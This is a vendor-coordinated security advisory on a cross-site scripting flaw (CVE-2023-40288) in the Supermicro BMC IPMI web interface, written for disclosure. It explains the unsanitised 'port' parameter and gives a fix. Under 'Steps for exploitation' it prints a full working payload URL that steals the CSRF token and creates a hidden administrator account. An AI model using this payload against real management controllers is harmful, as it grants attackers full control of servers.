[BRLY-2023-009] Cross-site scripting vulnerability in Supermicro BMC IPMI firmware in the config_ssl_fw_reset webpage using port GET parameter

Summary

Binarly REsearch Team has discovered a DOM-based cross-site scripting (XSS) vulnerability in the config_ssl_fw_reset webpage that uses port GET parameter, included in the web server component of Supermicro BMC IPMI firmware, allowing a possible attacker to gain access to an account with administrator privileges.

Vulnerability Information

• BINARLY internal vulnerability identifier: BRLY-2023-009
• Supermicro PSIRT assigned CVE identifier: CVE-2023-40288
• BINARLY calculated CVSS v3.1: 9.6 Critical AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
• Supermicro PSIRT calculated CVSS v3.1: 8.3 High AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Supermicro firmwares with confirmed impact by Binarly REsearch Team

Potential impact

An attacker could exploit this vulnerability to create an account with administrative privileges to the web server component of BMC IPMI software. Such account provides full acess to these settings: System Information, Chassis Locator Control, FRU Reading, Sensor Readings, Event Log, Alert, LDAP, Mouse Mode, Network, SMTP, SSL, Users, Event Action, Power Control, KVM, F/W Update, Logout. It also allows exploitation of vulnerabilities that require authentication.

Vulnerability description

config_ssl_fw_reset HTML page contains the PageInit() JavaScript function, which is executed when the webpage is loaded. This function gets the value of the port request parameter and uses it to construct a string that will be assigned to the content of the HTML object with id = reset_string using the innerHTML property without any sanitization.

function PageInit()
{
    ...
    var PortNum = getParameter("port");
    ...
    if ( PortNum != "null")
        NewURL = window.location.protocol+"//" + aHostName + ":" + PortNum + "/";
    else
        NewURL = window.location.protocol+"//" + aHostName+ ":" + window.location.port + "/";

    NewString = lang.LANG_FW_RESET_DESC3.replace("NEWURL_PATTERN",NewURL);
    $('reset_string').innerHTML = NewString;
    ...

function getParameter(parameterName) {
    var strQuery = location.search.substring(1);
    var paramName = parameterName + "=";

    if (strQuery.length > 0)
    {
        begin = strQuery.indexOf(paramName);

        if (begin != -1)
        {
            begin += paramName.length;
            end = strQuery.indexOf("&" , begin);
            if ( end == -1 ) end = strQuery.length

            return unescape(strQuery.substring(begin, end));
        }
        return "null";
    }
}

As a result, arbitrary JavaScript code can be injected into the webpage, which will be executed on behalf of the authenticated user.

Steps for exploitation

To create an administrator account with username BRLY and password BRLYBRLY an attacker can trick an authenticated user with administrative privileges to open this link in a web browser:

https://192.168.0.8:443/cgi/url_redirect.cgi?url_name=config_ssl_fw_reset&port=443"></a>%3Cimg%20src%3d1%20onerror%3d'var csrfRegex%3d/CSRF_TOKEN", "([^"]*?)"/g;var csrfMatch%3dcsrfRegex.exec(document.body.innerHTML);var csrf%3dcsrfMatch[1];fetch("https://192.168.0.8:443/cgi/op.cgi",{method:"POST",headers:{"Csrf_token":csrf},body:"op%3dconfig_user%26username%3dBRLY%26original_username%3d2%26password%3dBRLYBRLY%26new_privilege%3d4%26_%3d"})'%3E

Here, the onerror event is used to execute JavaScript code when the browser tries to download a non-existenting image. The JS code first obtains the user's CSRF token and then uses it to make a POST request in order to create a user with administrative privileges and credentials defined by the attacker.

NOTE: The BMC OS will be restarted after the above request is completed.

How to fix it

Ideally, user controlled parameters should not be assigned to HTML elements. If it is not possible in such case, the port parameter must be checked against a whitelist of allowed values.

Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Acknowledgements

Binarly REsearch Team